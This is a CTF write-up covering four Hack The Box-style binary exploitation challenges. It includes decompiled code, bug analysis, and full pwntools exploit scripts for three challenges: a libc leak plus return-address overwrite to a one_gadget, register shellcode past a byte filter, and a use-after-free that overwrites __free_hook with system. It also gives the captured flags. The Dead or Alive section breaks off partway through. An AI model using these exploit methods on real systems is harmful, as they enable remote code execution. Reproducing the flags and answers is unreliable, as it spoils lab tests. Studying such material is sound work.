# 1. Recruitment
We have a c++ binary file and libc. Decompile it:
```cpp!
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 chocie; // rax
__int64 v4; // rbx
char v6[32]; // [rsp+0h] [rbp-280h] BYREF
__int64 v7; // [rsp+20h] [rbp-260h] BYREF
__int64 v8; // [rsp+40h] [rbp-240h] BYREF
char v9[32]; // [rsp+70h] [rbp-210h] BYREF
__int64 v10; // [rsp+90h] [rbp-1F0h] BYREF
__int64 v11; // [rsp+B0h] [rbp-1D0h] BYREF
char v12[112]; // [rsp+E0h] [rbp-1A0h] BYREF
char v13[47]; // [rsp+150h] [rbp-130h] BYREF
char v14; // [rsp+17Fh] [rbp-101h] BYREF
char v15[47]; // [rsp+180h] [rbp-100h] BYREF
char v16; // [rsp+1AFh] [rbp-D1h] BYREF
char v17[32]; // [rsp+1B0h] [rbp-D0h] BYREF
char v18[32]; // [rsp+1D0h] [rbp-B0h] BYREF
char v19[32]; // [rsp+1F0h] [rbp-90h] BYREF
char v20[32]; // [rsp+210h] [rbp-70h] BYREF
char v21[40]; // [rsp+230h] [rbp-50h] BYREF
char *v22; // [rsp+258h] [rbp-28h]
char *v23; // [rsp+260h] [rbp-20h]
_QWORD *profile; // [rsp+268h] [rbp-18h]
Profile::Profile((Profile *)v9);
Profile::Profile((Profile *)v6);
while ( flag != 3 )
{
chocie = menu();
if ( chocie == 3 )
{
if ( flag )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v21, v6);
journey(v21);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v21);
}
else
{
error("You need to set up your profile first!\n");
}
}
else
{
if ( chocie > 3 )
goto LABEL_17;
if ( chocie == 1 )
{
if ( flag == 1 )
{
error("You cannot create a second profile!\n");
}
else
{
profile = (_QWORD *)create_profile();
v4 = profile[2];
v23 = &v14;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<std::allocator<char>>(
v13,
profile[1],
&v14);
v22 = &v16;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<std::allocator<char>>(
v15,
*profile,
&v16);
Profile::Profile(v12, v15, v13, v4);
Profile::operator=(v6, v12);
Profile::~Profile((Profile *)v12);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v15);
std::__new_allocator<char>::~__new_allocator(&v16);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v13);
std::__new_allocator<char>::~__new_allocator(&v14);
}
}
else
{
if ( chocie != 2 )
{
LABEL_17:
error("Invalid operation! Safety mechanism activated! Abort the room!\n");
exit(1312);
}
if ( flag )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v19, &v7);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v20, v6);
Profile::display(v6, v20, v19, &v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v20);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v19);
}
else
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v17, &v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v18, v9);
Profile::display(v9, v18, v17, &v11);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v18);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v17);
}
}
}
}
Profile::~Profile((Profile *)v6);
Profile::~Profile((Profile *)v9);
return 0;
}
```
- There are 3 options for us: create Profile, display Profile and journey.
- With option 1, we have permission to create a Profile, with Name, Class and Age:

- Option 2 just show out what we just input
- Option 3 is journey, with a parameter is a string, i think.
For create Profile:
```cpp!
char **create_profile(void)
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
const char *Name; // rax
const char *Class; // rax
char **v8; // rbx
char Age[256]; // [rsp+0h] [rbp-160h] BYREF
char v11[32]; // [rsp+100h] [rbp-60h] BYREF
char v12[32]; // [rsp+120h] [rbp-40h] BYREF
char **v13; // [rsp+140h] [rbp-20h]
int i; // [rsp+14Ch] [rbp-14h]
v13 = (char **)operator new[](0x18uLL);
for ( i = 0; i <= 2; ++i )
v13[i] = (char *)operator new[](0x64uLL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v12);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11);
fflush(_bss_start);
std::operator<<<std::char_traits<char>>();
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v12);
std::operator<<<std::char_traits<char>>();
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);
std::operator<<<std::char_traits<char>>();
read(0, Age, 32uLL);
std::operator<<<std::char_traits<char>>();
v0 = std::operator<<<std::char_traits<char>>();
std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v0, v12);
v1 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>();
v2 = std::operator<<<std::char_traits<char>>();
std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v2, v11);
v3 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>();
v4 = std::operator<<<std::char_traits<char>>();
v5 = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>();
Age[strcspn(Age, "\n")] = 0;
Name = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v12);
strcpy(*v13, Name);
Class = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v11);
strcpy(v13[1], Class);
strcpy(v13[2], Age);
flag = 1;
v8 = v13;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v12);
return v8;
}
```
It used `cin` to read data of Name and Class, but use `read()` to read data of Age.


After trying input, i saw that when i input Age, sometimes it leaks some suspicious data:

Trying some payloads, i can leak out some libc address:

Calculate the offset, it will be `0x93b00` from libc address.
So now we have libc address.

I thought about execute system('/bin/sh') but we have limited input amount left, only `0x2f` bytes in option 3 - `journey`:
```cpp!
__int64 __fastcall journey(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
char v4[8]; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
__int64 v7; // [rsp+28h] [rbp-8h]
flag = 3;
std::operator<<<std::char_traits<char>>();
v1 = std::operator<<<std::char_traits<char>>();
std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v1, a1);
std::operator<<<std::char_traits<char>>();
v2 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>();
*(_QWORD *)v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
return std::istream::getline((std::istream *)&std::cin, v4, 0x2FLL);
}
```
But there is something special here. First, it set `flag = 3`, i was thinking about return to option 1 to create another profile because option 1 only checks if `flag == 1` or not, if it's not, it will let us create. But it skipped the create step even i tried how many times. Second, the flow code of `journey` is it set the value from `rbp-0x20` to `rbp-0x8` to 0, then return getline with size `0x2f`. I noticed that i can overflow the return address, because `v4` is in `rbp-0x20`. So now i can execute one gadget to get shell.
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./recruitment_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("94.237.50.242", 35024)
return r
def main():
r = conn()
input()
# good luck pwning :)
r.sendlineafter(b'$ ', b'1')
r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Class: ', b'A'*16)
r.sendlineafter(b'Age: ', b'A'* 24)
r.recvuntil(b'Age: AAAAAAAAAAAAAAAAAAAAAAAA\n')
pause()
leak = u64(r.recv(5) + b'\0\0\0')
leak = leak << 8
libc.address = leak - 0x93b00
info('Libc leak: ' + hex(leak))
info('Libc: ' + hex(libc.address))
system = libc.sym['system']
binsh = next(libc.search('/bin/sh'))
info('System: ' + hex(system))
one_gadget = libc.address + 0x583e3
pause()
r.sendlineafter(b'$ ', b'3')
r.sendlineafter(b'mission: ', b'A'*0x28+ p64(one_gadget))
pause()
r.interactive()
if __name__ == "__main__":
main()
# HTB{R34dy_0R_n0t_w3_4r3_c0m1ng_3db8647580a5f8902b7653c8b0e7063a}
```

# 2. Reconstruction
Challenge gives us binary file and glibc. Decompile:
```c!
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int buf; // [rsp+3h] [rbp-Dh] BYREF
char v4; // [rsp+7h] [rbp-9h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
banner(argc, argv, envp);
buf = 0;
v4 = 0;
printstr("\n[*] Initializing components...\n");
sleep(1u);
puts("\x1B[1;31m");
printstr("[-] Error: Misaligned components!\n");
puts("\x1B[1;34m");
printstr("[*] If you intend to fix them, type \"fix\": ");
read(0, &buf, 4uLL);
if ( !strncmp((const char *)&buf, "fix", 3uLL) )
{
puts("\x1B[1;33m");
printstr("[!] Carefully place all the components: ");
if ( (unsigned __int8)check() )
read_flag();
exit(1312);
}
puts("\x1B[1;31m");
printstr("[-] Mission failed!\n\n");
exit(1312);
}
```
It will execute the `read_flag()` function if we pass the `check()` condition:
```c!
__int64 check()
{
__int64 rbx0; // rbx
__int64 v1; // rbx
__int64 v2; // rbx
__int64 v3; // rbx
__int64 v4; // rbx
__int64 v5; // rax
unsigned __int8 i; // [rsp+Fh] [rbp-71h]
_QWORD *addr; // [rsp+10h] [rbp-70h]
__int64 buf; // [rsp+20h] [rbp-60h] BYREF
__int64 rbp0x58; // [rsp+28h] [rbp-58h]
__int64 rbp0x50; // [rsp+30h] [rbp-50h]
__int64 rbp0x48; // [rsp+38h] [rbp-48h]
__int64 rbp0x40; // [rsp+40h] [rbp-40h]
char rbp0x38[13]; // [rsp+48h] [rbp-38h] BYREF
__int64 rbp0x2b; // [rsp+55h] [rbp-2Bh]
unsigned __int64 rbp0x18; // [rsp+68h] [rbp-18h]
rbp0x18 = __readfsqword(0x28u);
addr = mmap(0LL, 0x3CuLL, 7, 34, -1, 0LL);
if ( addr == (_QWORD *)-1LL )
{
perror("mmap");
exit(1);
}
buf = 0LL;
rbp0x58 = 0LL;
rbp0x50 = 0LL;
rbp0x48 = 0LL;
rbp0x40 = 0LL;
memset(rbp0x38, 0, sizeof(rbp0x38));
rbp0x2b = 0LL;
read(0, &buf, 60uLL);
rbx0 = rbp0x58;
*addr = buf;
addr[1] = rbx0;
v1 = rbp0x48;
addr[2] = rbp0x50;
addr[3] = v1;
v2 = *(_QWORD *)rbp0x38;
addr[4] = rbp0x40;
addr[5] = v2;
v3 = rbp0x2b;
*(_QWORD *)((char *)addr + 45) = *(_QWORD *)&rbp0x38[5];
*(_QWORD *)((char *)addr + 53) = v3;
if ( !(unsigned int)validate_payload((__int64)addr, 59uLL) )
{
error("Invalid payload! Execution denied.\n");
exit(1);
}
((void (*)(void))addr)();
munmap(addr, 0x3CuLL);
for ( i = 0; i <= 6u; ++i )
{
if ( regs((&::buf)[i]) != values[i] )
{
v4 = values[i];
v5 = regs((&::buf)[i]);
printf(
"%s\n[-] Value of [ %s$%s%s ]: [ %s0x%lx%s ]%s\n\n[+] Correct value: [ %s0x%lx%s ]\n\n",
"\x1B[1;31m",
"\x1B[1;35m",
(&::buf)[i],
"\x1B[1;31m",
"\x1B[1;35m",
v5,
"\x1B[1;31m",
"\x1B[1;32m",
"\x1B[1;33m",
v4,
"\x1B[1;32m");
return 0LL;
}
}
return 1LL;
}
```
First, it reads 0x60 bytes from buffer, then compares each bytes of buffer to `allowed_bytes` in `validate_payload()` function:
```c!
__int64 __fastcall validate_payload(__int64 a1, unsigned __int64 a2)
{
int v3; // [rsp+14h] [rbp-1Ch]
unsigned __int64 i; // [rsp+18h] [rbp-18h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
for ( i = 0LL; i < a2; ++i )
{
v3 = 0;
for ( j = 0LL; j <= 17; ++j )
{
if ( *(_BYTE *)(a1 + i) == allowed_bytes[j] )
{
v3 = 1;
break;
}
}
if ( !v3 )
{
printf("%s\n[-] Invalid byte detected: 0x%x at position %zu\n", "\x1B[1;31m", *(unsigned __int8 *)(a1 + i), i);
return 0LL;
}
}
return 1LL;
}
```
The `allowed_bytes` is represented as follow:


Then it goes to condition `regs((&::buf)[i]) != values[i]`, compares the return value of `regs` to `value[i]`:


Function `regs()`:
```c!
__int64 __fastcall regs(const char *a1)
{
__int64 v1; // r12
__int64 v2; // r13
__int64 v3; // r14
__int64 v4; // r15
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // r10
__int64 v9; // [rsp+10h] [rbp-10h]
v9 = 0LL;
if ( !strcmp(a1, "r8") )
return v5;
if ( !strcmp(a1, "r9") )
return v6;
if ( !strcmp(a1, "r10") )
return v7;
if ( !strcmp(a1, "r12") )
return v1;
if ( !strcmp(a1, "r13") )
return v2;
if ( !strcmp(a1, "r14") )
return v3;
if ( !strcmp(a1, "r15") )
return v4;
printf("Unknown register: %s\n", a1);
return v9;
}
```
it will return the value in each register, from `r8` to `r15`, except `r11`. So this is just a simple shellcode challenge.
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./reconstruction_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("94.237.49.127", 34849)
return r
def main():
r = conn()
input()
# allowed_bytes = [0x49, 0xc7, 0xb9, 0xc0, 0xde, 0x37, 0x13, 0xc4, 0xc6, 0xef, 0xbe, 0xad, 0xca, 0xfe, 0xc3, 0x0, 0xba, 0xbd]
# values = [0x1337c0de, 0xdeadbeef, 0xdead1337, 0x1337cafe, 0xbeefc0de, 0x13371337, 0x1337dead]
shellcode = asm(
'''
mov r8, 0x1337c0de
mov r9, 0xdeadbeef
mov r10, 0xdead1337
mov r12, 0x1337cafe
mov r13, 0xbeefc0de
mov r14, 0x13371337
mov r15, 0x1337dead
ret
''', arch='amd64')
r.sendlineafter(b'"fix": ', b'fix')
r.sendafter(b'components: ', shellcode)
pause()
# good luck pwning :)
r.interactive()
# HTB{r3c0n5trucT_d3m_r3g5_b60047af4c6d947566236fc3f700049d}
if __name__ == "__main__":
main()
```
We must add `ret` in the end, because i think it compares 59 bytes of buffer to `validate_payload`, if it's not has 1 more byte, we will get seg fault.
# 3. Prison Break
We have a binary file and glibc. Decompile it:
```c!
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
banner();
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 4 )
break;
copy_paste();
}
if ( v3 > 4 )
{
LABEL_12:
error("Invalid option");
}
else
{
switch ( v3 )
{
case 3:
view();
break;
case 1:
create();
break;
case 2:
delete();
break;
default:
goto LABEL_12;
}
}
}
}
```
This is a heap challenge, which let us create, delete, view and copy-paste heap chunks.

Check in `create()`:
```c!
unsigned __int64 create()
{
int journal_day; // eax
void *v1; // rax
unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
Journal *journal; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Journal index:");
index = 0;
__isoc99_scanf("%d", &index);
if ( index < 10 )
{
if ( Chunks[index] && Chunks[index]->flag )
{
error("Journal index occupied");
}
else
{
journal = (Journal *)malloc(0x18uLL);
journal_day = day++;
journal->status = journal_day;
puts("Journal size:");
__isoc99_scanf("%lu", &journal->size);
v1 = malloc(journal->size);
journal->data = v1;
journal->flag = 1;
if ( !journal->data )
{
error("Could not allocate space for journal");
exit(-1);
}
puts("Enter your data:");
read(0, journal->data, journal->size);
Chunks[index] = journal;
putchar(10);
}
}
else
{
error("Journal index out of range");
}
return __readfsqword(0x28u) ^ v5;
}
```
The struct of a `journal`:

In `delete()`:
```c!
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Journal index:");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 < 0xA )
{
if ( Chunks[v1] && Chunks[v1]->flag )
{
Chunks[v1]->flag = 0;
free(Chunks[v1]->data);
}
else
{
error("Journal is not inuse");
}
}
else
{
error("Journal index out of range");
}
return __readfsqword(0x28u) ^ v2;
}
```
We have a UAF bug here
In `view()`, nothing's special
In `copy_paste()`:
```c!
unsigned __int64 copy_paste()
{
unsigned int copy_idx; // [rsp+0h] [rbp-10h] BYREF
unsigned int paste_idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
copy_idx = 0;
paste_idx = 0;
puts("Copy index:");
__isoc99_scanf("%d", ©_idx);
if ( copy_idx >= 0xA || (puts("Paste index:"), __isoc99_scanf("%d", &paste_idx), paste_idx >= 0xA) )
{
error("Index out of range");
}
else if ( Chunks[copy_idx] && Chunks[paste_idx] )
{
if ( Chunks[copy_idx]->flag || Chunks[paste_idx]->flag )
{
if ( Chunks[copy_idx]->size <= Chunks[paste_idx]->size )
{
Chunks[paste_idx]->status = day;
memcpy(Chunks[paste_idx]->data, Chunks[copy_idx]->data, Chunks[copy_idx]->size);
puts("Copy successfull!\n");
}
else
{
error("Copy index size cannot be larger than the paste index size");
}
}
else
{
error("Journal index not in use");
}
}
else
{
error("Invalid copy/paste index");
}
return __readfsqword(0x28u) ^ v3;
}
```
So it will check if any of element is occupied, it will copy from one to another. So we can free a chunk into unsorted bin then copy it into a journal that being used. So we can leak the libc.
But i was struggling when trying to put data out from unsorted bin

So i read Quang's writeup to see how he leaked libc address. So basically, we just need to create a very big chunk, which is out of range of fastbin so we can put it in the unsorted bin.

Now, because it's libc 2.27, so we can overwrite `__malloc_hook` and `__free_hook`. I was tried overwritting all one_gadget to `--level 1` to `__malloc_hook` but it didn't work btw. So i overwrite `__free_hook` with `system()` to get shell.


Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./prison_break_patched")
libc = ELF("./glibc/libc.so.6")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("94.237.55.109", 42693)
return r
def main():
r = conn()
input()
def create(index, size, data):
r.sendlineafter(b'# ', b'1')
r.sendlineafter(b'index:\n', str(index).encode())
r.sendlineafter(b'size:\n', str(size).encode())
r.sendafter(b'data:\n', data)
def delete(index):
r.sendlineafter(b'# ', b'2')
r.sendlineafter(b'index:\n', str(index).encode())
def view(index):
r.sendlineafter(b'# ', b'3')
r.sendlineafter(b'index:\n', str(index).encode())
def copy_paste(cpy_idx, pst_idx):
r.sendlineafter(b'# ', b'4')
r.sendlineafter(b'index:\n', str(cpy_idx).encode())
r.sendlineafter(b'index:\n',str(pst_idx).encode())
# create(0, 96, b'AAAA')
# create(1, 96, b'AAAA')
# delete(0)
# delete(1)
# create(2, 96, b'BBBB')
# create(3, 16, b'CCCC')
# delete(2)
# create(4, 96, b'\x01')
# view(4)
# r.recvuntil(b'entry:\n')
# heap_leak = u64(r.recv(6)+ b'\0\0')
# heap = heap_leak - 0x201
# info('Heap leak: ' + hex(heap_leak))
# info('Heap: ' + hex(heap))
# for i in range(8):
# create(i, 0x100, b'AAAA')
# create(8, 10, b'BBBB')
# for i in range(8):
# delete(i)
# create(9, 0x120, b'C')
# copy_paste(7, 9)
# view(9)
create(0, 0x500, b'A')
create(1, 0x500, b'B')
delete(0)
copy_paste(0, 1)
view(1)
r.recvuntil(b'entry:\n')
libc_leak = u64(r.recv(6) + b'\0\0')
info('Libc leak: ' + hex(libc_leak))
libc.address = libc_leak - 0x3ebca0
info('Libc address: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
info('Free hook: ' + hex(free_hook))
create(2, 100, b'\0')
# create(3, 100, p64(libc.sym['__malloc_hook']))
create(3, 100, p64(free_hook))
delete(2)
copy_paste(3, 2)
info('Malloc hook: ' + hex(libc.sym['__malloc_hook']))
# one_gadget = libc.address + 0x10a428
# create(2, 100, b'A')
# create(4, 100, p64(one_gadget))
create(2, 100, b'/bin/sh\0')
create(4, 100, p64(system))
# create(5, 100, b'')
r.sendlineafter(b'# ', b'2')
r.sendlineafter(b'index:\n', b'2')
pause()
# good luck pwning :)
# HTB{h4cky_pr1s0n_br34k_91600c335b1db53245e5d762cbceaa62}
r.interactive()
if __name__ == "__main__":
main()
```
# 4. Dead or Alive
We decompile the binary file:
```c!
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // eax
setup(argc, argv, envp);
banner();
while ( 1 )
{
while ( 1 )
{
choice = menu();
if ( choice != 3 )
break;
view();
}
if ( choice > 3 )
{
LABEL_10:
error("Invalid option");
}
else if ( choice == 1 )
{
create();
}
else
{
if ( choice != 2 )
goto LABEL_10;
delete();
}
}
}
```
We can create, delete, view a Bounty.

Function `create()`:
```c!
unsigned __int64 create()
{
char *descriptionChunk; // rax
bool status; // [rsp+7h] [rbp-29h]
__int64 amount; // [rsp+8h] [rbp-28h] BYREF
unsigned __int64 size; // [rsp+10h] [rbp-20h] BYREF
Bounty *Bounty; // [rsp+18h] [rbp-18h]
__int16 buf; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( (unsigned int)bounty_idx > 49 )
{
error("Maximum number of bounty registrations reached. Shutting down...");
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
amount = 0LL;
__isoc99_scanf("%lu", &amount);
printf("Wanted alive (y/n): ");
buf = 0;
read(0, &buf, 2uLL);
HIBYTE(buf) = 0;
status = strcmp((const char *)&buf, "y") == 0;
printf("Description size: ");
size = 0LL;
__isoc99_scanf("%lu", &size);
if ( size <= 0x64 )
{
Bounty = (Bounty *)malloc(0x20uLL);
if ( !Bounty )
{
error("Failed to allocate space for bounty");
exit(-1);
}
Bounty->amount = amount;
Bounty->status = status;
Bounty->size = size;
descriptionChunk = (char *)malloc(Bounty->size);
Bounty->descriptionPtr = descriptionChunk;
Bounty->active = 1;
if ( !Bounty->descriptionPtr )
{
error("Failed to allocate space for bounty description");
exit(-1);
}
puts("Bounty description:");
read(0, Bounty->descriptionPtr, Bounty->size);
Bounties[bounty_idx] = Bounty;
printf("Bounty ID: %d\n\n", (unsigned int)bounty_idx);
++bounty_idx;
}
else
{
error("Description size exceeds size limit");
}
return __readfsqword(0x28u) ^ v7;
}
```
Struct of a Bounty:

This function allows us to create a Bounty, then add the recently created one into Bounties index, with maximum size is 50 elements.
- Each element is `0x20` big. This is the metadata of Bounty
- The `descriptionPtr` points to the chunk that contains data of Bounty.
- After creating, it will add it into Bounties array.
The chunk of a Bounty will be look like this:


in `0x55555555a298` is contains the size of metadata of Bounty, which is `0x20 + 0x10 of metadata of heap chunk`. Next, the `0x000055555555a2d0` will point to the data of Bounty. Then `Bounty->amount`, `Bounty->size` which is `0x32 = 50`. The next is contains `active` and `status`, which is `0x01` and `0x01`.
Let's analyze the `delete()` function:
```c!
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Bounty ID: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( (v1 & 0x80000000) == 0 && v1 < bounty_idx )
{
if ( Bounties[v1]->active == 1 && Bounties[v1]->descriptionPtr )
{
free(Bounties[v1]->descriptionPtr);
Bounties[v1]->descriptionPtr = 0LL;
Bounties[v1]->active = 0;
free(Bounties[v1]);
putchar(10);
}
else
{
error("Invalid ID");
}
}
else
{
error("Bounty ID out of range");
}
return __readfsqword(0x28u) ^ v2;
}
```
So first it checks the index, with condition
`v1 < min(bounty_idx, 2^31)`
then checking if the `Bounty->active` is equals to 1 or not, and if there is existing pointer to data chunk, it first free the chunk data, nulldify the pointer to that chunk (not in array `Bounties`) and change the status to 0. Then it will free the metadata chunk (the chunk `0x20` talked before).
Finally, the `view()` function:
```c!
unsigned __int64 view()
{
const char *v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Bounty ID: ");
v2 = 0;
__isoc99_scanf("%d", &v2);
if ( v2 < 0x32 )
{
if ( Bounties[v2] )
{
if ( Bounties[v2]->active != 1 )
{
error("Bounty has been removed");
}
else
{
if ( Bounties[v2]->status )
v0 = "Yes";
else
v0 = "No";
printf(
"\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n",
Bounties[v2]->amount,
v0,
Bounties[v2]->descriptionPtr);
}
}
else
{
error("Bounty ID does not exist");
}
}
else
{
error("ID out of range");
}
return __readfsqword(0x28u) ^ v3;
}
```
it will view only the `Bounty` with index smaller than 0x32, then it will check if exists that pointer in `Bounties` array. If it exists, it checks `Bounty->active`, if equals to 1m it next check the `status` to print out later, not affect our condition. Then it will print out the `Bounty->amount` then `Bounty->description`
So there is no UAF or OOB,... for us to exploit. Our idea is first leaking the libc address. This is libc version 2.35

so we must pass the tcache mechanism. We must somehow put a chunk in unsorted bin, then we can leak the libc. But program limits our `description` size:

Maybe there is a bug that let us modify a chunk then we can make a very big chunk to free, it will put it in unsorted bin.
Look more closely in the `create()` and `delete()`, when first it will malloc the metadata chunk (size `0x20`), then free it.


So if we malloc 2 chunks, then free the first one, it will take out the chunk metadata of the first one. We can leak out some data:


Check in gdb, it is some heap address:

In the address `0x55555555a2a0`, it is our leaking data. If we check in `Bounties` array:

The data pointer of index 1 and index 2 points to the same address
The process will be:
- After free, the tcache will hold 4 freed chunks, each 2 of them are the same size. After we malloc a chunk `0x20` for index 2, it first need a chunk `0x20 + 0x10` to contains metadata, then malloc a chunk size `0x20(our input) + 0x10` to make a chunk for data of index 2. Luckily, in tcache, there are 2 chunks (metadata of index 0 and 1) which is satisfied our demand

Because we first freed index 0, then index 1. So when we create index 2, it first takes out the metadata of index 1 to create its metadata, then because of the `Bounties[2]->size` equals to the same as metadata of `index 0`, it will take out from tcache so the data leaked out is the metadata of index 0 after free. We can look at the tcache after create index 2:

That 2 `0x30` size chunks have been taken out
The leaked data is some heap address. Because this is 2.35 libc, there is a mechanism to avoid UAF bug, it called [safe linking](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L349)
So to decrypt it, we use exploiting script from [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c)

So now we can leak out the heap address:


Check in gdb:

Something's wrong here =w=', i don't know why. Maybe my leaking address is wrong. Maybe because of heap consolidation...
So i malloc one more in the first, then doing the same process.
Now the data leaked is the metadata in index1, the metadata of index 2 will hold the metadata of index 3. This graph will simplify the heap after free 3 chunks first:
```c
| Freed metadata of Bounties[0] |
| Freed Bounties[0]->description |
| Freed metadata of Bounties[1] |
| Freed Bounties[1]->description |
| Freed metadata of Bounties[2] |
| Freed Bounties[2]->description |
```
After we malloc `Bounties[3]`, the heap will be look like this
```c!
|Freed metadata of Bounties[0] |
|Freed Bounties[0]->description|
| Data of Bounties[3] |
|Freed Bounties[1]->description|
| Metadata of Bounties[3] |
|Freed Bounties[2]->description|
```
Checking in gdb: The heap after remove 3 first chunk:

After create `Bounties[3]`:

So our graph is right. The description of `Bounties[3]` is saved in `0x55555555a310`, which is the metadata of `Bounties[1]`. So now we just need to view index 3 or index 2, it works anyway because now index 3 has `Bounty->active == 1`.


So we leaked the heap base.
:::info
Some note: If you use debug or noaslr and see some garbage values like this

Turn it off, just run locally and it will work.
:::
Now for stage 2, we need to create a chunk that can be placed in unsorted bin.
The maximum size of tcache is 0x410

So we can create a 0x420 chunk size. Because we can modify the metadata of a chunk, so we can create some chunks, freed the first 2 chunks of them, so now if i malloc a `0x20` chunk, it will take place of first chunk's metadata for its and take second's metadata to hold the data of its description
First, for not to calculate too much, we create more a chunk to fit the metadata of `Bounties[0]`

For now, i will not using NOASLR to calculate for avoiding that bug i talked before but it will not affect the solution.
The `Bounties` will look like this

As you can see, the last index, which is our chunk used to modify metadata, has the same pointer to index 6: `0x000055e832f9d4c0`. So we want to modify the size of `Bounties[5]` (remember tcache is LIFO)


Now, if i delete index 5, it should work now. But i forget the `Bounties[5]->description` 's is still in tcache, this leads to double free:

So maybe first, i need to create 2 more, to fill up the description of `Bounties[5] and Bounties[6]`

But i still got double free or corruption error:

So I tried to research some writeups, you can see the original [here](https://hackmd.io/@M_jkUUNmQBGqI26qqQamjg/Hkgda-3NJg)
So the idea is we can modify `Bounty->amount` to be our unsorted bin chunk's size, to create a fake chunk. Now, the `Bounty->description` pointer will be the fd pointer.
First, we create some chunks to make up the fake chunk:


